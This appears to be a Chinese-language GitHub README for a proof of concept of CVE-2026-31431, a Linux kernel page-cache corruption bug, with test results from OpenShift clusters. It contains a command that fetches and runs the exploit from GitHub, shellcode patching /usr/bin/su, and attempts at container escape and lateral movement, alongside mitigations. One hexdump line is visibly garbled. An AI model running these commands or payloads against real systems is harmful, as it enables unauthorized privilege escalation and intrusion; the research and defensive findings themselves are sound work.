SeanRickerd/cve-2026-31431
GitHub: SeanRickerd/cve-2026-31431
针对 CVE-2026-31431 的 Linux 内核页缓存损坏漏洞 PoC,利用 AF_ALG 套接字的 authencesn AEAD 实现缺陷,通过 splice() 系统调用实现无特权进程对页缓存的篡改。
Stars: 0 | Forks: 3
# CVE-2026-31431 "Copy Fail" - 页缓存损坏漏洞
通过 authencesn AEAD 操作引发的 Linux 内核页缓存损坏漏洞。
## ⚠️ 重要提示:漏洞利用状态更新(2026 年 5 月 1 日)
**在多个带有 RHEL 9.6 内核的 OpenShift 4.20.16 集群上进行广泛测试后:**
- ✅ **页缓存损坏:** 已确认 - 成功注入 160 字节的 shellcode
- ✅ **内核漏洞:** 可从无特权容器(权限为 0)进行利用
- ❌ **权限提升:** 未实现 - 尽管缓存已损坏,UID 仍未改变
- ❌ **代码执行:** 未观察到 - 修改后的页面在读取时可见,但未被执行
- ✅ **restricted-v2 SCC:** 有效 - 阻止了容器逃逸,限制了影响范围
有关完整详情,请参阅[综合测试结果](#comprehensive-testing-results)部分。
## 概述
CVE-2026-31431 是 Linux 内核 `authencesn` AEAD 加密实现中的一个漏洞,允许非特权进程通过 AF_ALG 套接字和 splice() 系统调用操作来损坏可读文件的页缓存。
**测试表明:** 页缓存损坏可靠地发生,但在我们的测试环境中,RHEL 9.6 内核上并没有出现权限提升。
**CVSS 评分:** 7.8(高危)
**受影响版本:** 带有 authencesn 支持的 Linux 内核版本(2017-2026)
**公开披露:** 2026 年 4 月 29 日
## 功能特性
- **兼容 Python 3.9+:** 包含通过 ctypes 实现的 `splice()` 系统调用包装器
- **可移植:** 适用于任何具有漏洞内核的 Linux 系统
- **可靠:** 无需竞态条件
- **干净:** 160 字节 shellcode,确定性利用
## 环境要求
- 具有易受攻击的 authencesn 实现的 Linux 内核(2026 年 4 月补丁之前)
- Python 3.9+
- 非特权用户访问权限
- 可读的 setuid 二进制文件(默认:`/usr/bin/su`)
## 用法
### 基本用法
```
curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3
su
```
### 从本地文件
```
python3 exploit.py
su
```
### 实际利用行为(基于测试)
**将会发生的事情:**
```
[*] CVE-2026-31431 'Copy Fail' Exploit
[*] Universal Linux kernel privilege escalation
[*] Target binary: /usr/bin/su
[*] Testing for vulnerability...
[+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3)
[+] File size: 56944 bytes
[+] File inode: 201328196
[+] Shellcode size: 160 bytes
[+] Patching file in page cache...
Written 160/160 bytes...
[+] Page cache patching complete! (160 bytes written)
```
**页缓存验证(确认损坏):**
```
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
```
**结果:**
- ✅ 从 openshift 命名空间拉取了 `openshift/cli` 镜像
- ✅ 获得了对 oc、kubectl、curl、openssl、Python 3.9 的访问权限
- ✅ 绕过了命名空间隔离
**影响:** 允许租户到租户的横向移动和特权工具访问。
### 阶段 2:容器内的内核利用
**部署:**
```
# 在攻击 pod 中执行 exploit
oc exec -n user-srickerd attack-demo -- bash -c "
curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su
"
```
**结果:**
```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
```
**利用后的能力:**
- ✅ 页缓存损坏成功(可见 160 字节 shellcode)
- ⚠️ **无权限提升** - UID 保持不变(用户命名空间 UID)
- ✅ 可以损坏页缓存中的容器文件(影响读取操作)
- ✅ 网络访问(API server、镜像仓库、互联网)
- ❌ 尽管有所声称,但**没有**实际的 root 访问权限
- ❌ **没有**权限(所有 CapPrm/CapEff = 0x0000000000000000)
- ❌ 仍处于隔离的 PID/挂载/用户命名空间中
- ❌ **无法**访问工作节点主机文件系统
- ❌ **无法**查看主机进程
### 阶段 3:容器环境分析
**现实检验 - `/proc/1/root` 并不是主机:**
```
# 这些指向同一个文件系统 (容器自身的 root)
stat -c '%i' /tmp/test.txt
# 136358432
stat -c '%i' /proc/1/root/tmp/test.txt
# 136358432 ← 相同的 inode = 同一个文件
# 它们在同一个 namespace 中的证明
readlink /proc/self/ns/mnt
readlink /proc/1/ns/mnt
# 两者均返回:mnt:[4026535423] ← 相同的 namespace
```
**容器操作系统详情:**
```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
```
### 阶段 4:从容器进行网络侦察
**在容器中创建的脚本**(可在 [attacks/](attacks/) 目录中找到):
**1. 容器侦察(`recon.sh` - 1425 字节)**
- 枚举容器环境
- 从 Pod 视角的网络配置
- 正在运行的进程(仅限容器,非主机)
- 尝试发现 Kubernetes/OpenShift 服务
- **现实情况:** 只能看到容器自身的环境
**2. 横向移动脚本(`lateral.sh` - 1754 字节)**
- 从 Pod IP(10.130.x.x 范围)进行网络扫描
- API server 连接性测试
- 服务发现尝试
- **现实情况:** 仅限于 Pod 网络视角,无主机访问权限
**3. 失败的主机利用尝试**
- `host-rootkit.py` - 尝试对 `/proc/1/root/usr/bin/su` 植入后门
- **结果:** 仅对容器的 su 植入后门,而非主机的 su
- `modprobe-escape.py` - 尝试内核模块逃逸
- **结果:** 被只读的 /proc 文件系统阻止
- `trigger-rootkit.sh` - 触发被植入后门的 su
- **结果:** 在容器中获得 root(与基础漏洞利用相同)
**有关有效与无效操作的完整分析,请参见 [attacks/README.md](attacks/README.md)。**
### 来自 Pod 的网络能力
**连接性测试:**
```
# Pod IP:10.130.16.37
# Kubernetes API
curl -k https://kubernetes.default.svc:443/healthz
# 结果:ok ✅
# 外部 Internet
curl -s https://www.google.com
# 结果:已连接 ✅
# 内部 Registry
curl -k https://image-registry.openshift-image-registry.svc:5000/
# 结果:可访问 ✅
```
**横向移动机会:**
- ✅ 完全的互联网访问权限(下载工具、C2 通信、数据渗出)
- ✅ 内部 API 访问权限(枚举集群资源)
- ✅ 内部镜像仓库访问权限(镜像投毒攻击)
- ✅ 通过 Pod 网络进行跨节点扫描
### 被阻止的主机逃逸技术
这些技术已被尝试,但被 OpenShift 安全控制阻止:
**1. nsenter(用户命名空间阻止)**
```
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# 错误:重新关联到 namespace 'ns/ipc' 失败:不允许的操作
```
**2. chroot(需要 CAP_SYS_CHROOT)**
```
chroot /proc/1/root /bin/bash
# 错误:无法更改 root 目录:不允许的操作
```
**3. 内核模块加载(无权限 + RHCOS 加固)**
- RHCOS 上没有 `insmod`、`modprobe`、`kmod` 二进制文件
-lib/modules` 为空(容器优化的操作系统)
- `CAP_SYS_MODULE` 不可用
- `/proc/sys/kernel/modprobe` 以只读方式挂载
**4. cgroup release_agent(以只读方式挂载)**
```
mount | grep cgroup
# cgroup2 挂载在 /sys/fs/cgroup 类型 cgroup2 (ro,nosuid,nodev,noexec)
```
**5. /proc/sys 操作(只读文件系统)**
```
echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
# 错误:只读文件系统
```
### 我们实际取得的成果
✅ **命名空间隔离绕过**
- 从内部镜像仓库跨命名空间拉取镜像
- 访问特权容器镜像 (openshift/cli)
✅ **容器内的页缓存损坏**
- 通过 CVE-2026-31431 修改了容器的 `/usr/bin/su` 页缓存
- 确认注入 160 字节 shellcode(在十六进制转储中可见)
- 损坏影响了容器文件上的读取操作
✅ **来自 Pod 的网络访问**
- 完全的互联网连接(数据渗出、C2、工具下载)
- 内部 API server 访问(受 RBAC 限制)
- 内部镜像仓库访问(潜在的镜像投毒)
- 通过 Pod 网络进行跨 Pod 扫描
❌ **权限提升 - 失败**
- 页缓存已损坏,但未获得 root 访问权限
- UID 保持不变(用户命名空间 UID ~1000000+)
- 无法执行特权操作
- 无法访问 /etc/shadow 或其他受限文件
❌ **主机文件系统访问 - 失败**
- `/proc/1/root` 指向**容器**的根目录,而不是主机
- 实际上无法访问 OpenShift 工作节点文件系统
- 脚本部署到了容器的 `/tmp`,而不是主机的 `/tmp`
- 设备/Inode 隔离阻止了主机页缓存访问
❌ **完整的主机逃逸 - 被阻止**
- 用户命名空间隔离有效
- 零权限阻止了 nsenter/chroot/主机访问
- SCC 阻止了特权 Pod 的创建
- RHCOS 加固阻止了模块加载
- Restricted-v2 阻止了容器逃逸
### OpenShift 安全评估
**有效的控制措施 ✅**
- Security Context Constraints (SCC) - 阻止了容器逃逸
- User Namespaces - 将页缓存隔离到容器 overlay
- 零权限 - 尽管存在内核漏洞,仍阻止了主机访问
- SELinux 强制执行 - 维持了容器隔离
- 只读的 /proc/sys - 阻止了内核操作尝试
- RHCOS 加固 - 无模块加载能力
**部分有效的控制措施 ⚠️**
- Seccomp RuntimeDefault - 处于活跃状态,但允许 AF_ALG 套接字
- 权限剥离 - 有效,但不能阻止页缓存损坏
**失败的控制措施 ❌**
- 命名空间 RBAC - 允许了跨命名空间镜像拉取
- 内核保护 - AF_ALG 接口可从容器访问
- 系统调用过滤 - 默认的 seccomp 未限制 splice()
**总体评估:**
虽然 CVE-2026-31431 是一个真实的内核漏洞,但 OpenShift 的纵深防御方法(SCC + 用户命名空间 + 权限剥离 + 文件系统隔离)阻止了实质性的利用。该漏洞利用损坏了页缓存,但未能从 restricted-v2 Pod 实现任何权限提升或容器逃逸。
### 对 OpenShift 的建议
**1. 阻止 AF_ALG 套接字**
```
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
```
**2. 强制执行镜像仓库 RBAC**
```
# 跨 namespace 镜像拉取需要显式权限
oc policy add-role-to-user system:image-puller \
--namespace=
```
**3. 增强的 Seccomp 配置文件**
阻止危险的系统调用:
- `socket(AF_ALG, ...)` - 协议族 38
- 将 `splice()` 限制在受信任的文件描述符上
- 如果 `init_module`、`finit_module` 尚未被阻止,则阻止它们
**4. 运行时监控**
对以下情况发出警报:
- 容器内创建 AF_ALG 套接字
- 跨命名空间镜像拉取
- 可疑的 `splice()` 系统调用模式
- 容器受损指标(意外的 root 进程)
### 完整攻击文档
有关完整的攻击链文档,包括:
- 利用时间线
- MITRE ATT&CK 映射
- 详细技术分析
- 所有侦察脚本
请参见:
- **[attacks/README.md](attacks/README.md)** - 有关有效与无效操作的详细分析
- **[docs/openshift-attack-chain.md](docs/openshift-attack-chain.md)** - 原始文档(包含错误,更正请参见 attacks/README.md)
## 缓解措施
### 立即执行
```
# 将存在漏洞的模块列入黑名单
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
```
### Seccomp 过滤器
阻止 AF_ALG 套接字创建:
```
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}]
}]
}
```
### 内核补丁
应用供应商补丁:
- Red Hat:监控 https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu:`apt update && apt upgrade linux-image-*`
- 上游:带有被还原为非就地操作的 authencesn 的 Linux Kernel 6.x+ 版本
## 常见问题解答
### 问:这个漏洞利用能给我 root 访问权限吗?
**答:** 不能 - 基于在 RHEL 9.6 内核(5.14.0-570.96.1)上的广泛测试,该漏洞利用成功损坏了内核页缓存,但未能实现权限提升。执行被植入后门的二进制文件后,UID 保持不变。
### 问:我能从受限制的 Kubernetes/OpenShift 容器中逃逸吗?
**答:** 不能(在 restricted-v2 SCC 下)- 页缓存损坏被隔离在容器的 overlay 文件系统中。容器逃逸需要通过 hostPath 或类似卷访问共享的主机资源。Restricted-v2 SCC 通过阻止主机资源访问来有效防止逃逸。
### 问:为什么漏洞利用声称能获得“root”,但测试显示它不起作用?
**答:** 该漏洞利用代码是基于 CVE 披露和理论分析编写的。我们在 RHEL 9.6 内核上的实际测试揭示了:
- 页缓存损坏有效 ✅(已通过十六进制转储证明)
- 从损坏的缓存执行代码不起作用 ❌(UID 未改变)
这可能是由于:
- 内核版本差异(RHEL 9.6 可能具有保护机制)
- W^X 内存保护强制执行
- 不同的执行与读取内存代码路径
### 问:它适用于所有 Linux 内核吗?
**答:** 未知 - 测试仅限于:
- RHEL CoreOS 9.6(内核 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 工作节点
未验证在其他发行版/内核版本上的行为。原始 CVE 研究条件可能有所不同。
### 问:我还应该修补我的系统吗?
**答:** 是的 - 绝对应该。即使没有实现权限提升:
1. 内核漏洞是真实的(已确认页缓存损坏)
2. 在其他内核版本上的行为可能有所不同
3. 使用 hostPath 卷时,容器逃逸是可能的
4. 纵深防御要求消除所有漏洞
5. 未来的研究可能会发现实现代码执行的方法
出于安全考虑,内核补丁是强制性的。
### 问:你们在测试中实际证明了什么?
**答:** 我们在 2 个独立的 OpenShift 集群上进行的综合测试证明了:
✅ **已确认:**
- CVE-2026-31431 内核漏洞是可利用的
- 可以从无特权容器(零权限)损坏页缓存
- 尽管有 restricted-v2 SCC,AF_ALG 接口仍然可以访问
- Shellcode 注入成功(在十六进制转储中可见)
❌ **未起作用的内容:**
- 权限提升(UID 未改变)
- 从损坏的页缓存执行代码
- 从 restricted-v2 Pod 进行容器逃逸
- 没有 hostPath 的主机文件系统访问
🛡️ **纵深防御有效:**
- SCC + 用户命名空间 + 权限剥离阻止了利用
- 多层安全防护限制了影响范围
- 尽管存在内核漏洞,容器隔离依然有效
## 安全声明
本代码库记录了一个内核漏洞,用于:
- ✅ 授权的安全测试和研究
- ✅ 漏洞验证和分析
- ✅ 安全意识与教育
- ✅ 防御措施开发
**研究结果基于:**
- 在授权系统上进行的受控测试
- 多个独立的集群环境
- 综合验证和可重复性测试
**请勿在未经明确授权的系统上使用。**
## 参考资料
- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **披露:** https://copy.fail
- **内核补丁:** Linux kernel commit(2026 年 4 月 1 日)
- **Red Hat 公告:** https://access.redhat.com/security/cve/cve-2026-31431
## 致谢
- **CVE 发现:** Taeyang Lee (Theori)
- **原始分析:** Xint Code 研究团队
- **漏洞利用实现:** Sean Rickerd
- **综合测试与验证:** Sean Rickerd
- 2 个独立的 OpenShift 4.20.16 集群
- RHEL CoreOS 9.6 内核 5.14.0-570.96.1
- 记录了实际行为与声称行为的对比
- 验证了 restricted-v2 SCC 的有效性
## 许可证
仅用于授权的安全测试和研究。使用风险自负。
**代码库状态:** 已根据实际测试结果更新(2026 年 5 月 1 日)
**测试:** 已在 2 个独立的 OpenShift 集群上完成
**关键发现:** 页缓存损坏已确认,但未实现权限提升
**建议:** 尽管实际利用有限,仍请修补内核
标签:0day挖掘, AEAD, AF_ALG, CVE-2026-31431, DevOps, Linux内核, OpenShift, Page Cache, PoC, Python, Red Hat, RHEL, Shellcode注入, splice系统调用, Web截图, Web报告查看器, 内核安全, 利用代码, 协议分析, 安全渗透, 容器安全, 容器逃逸, 密码学, 手动系统调用, 无后门, 无特权攻击, 暴力破解, 本地提权, 权限提升, 网络安全, 逆向工具, 隐私保护, 页面缓存破坏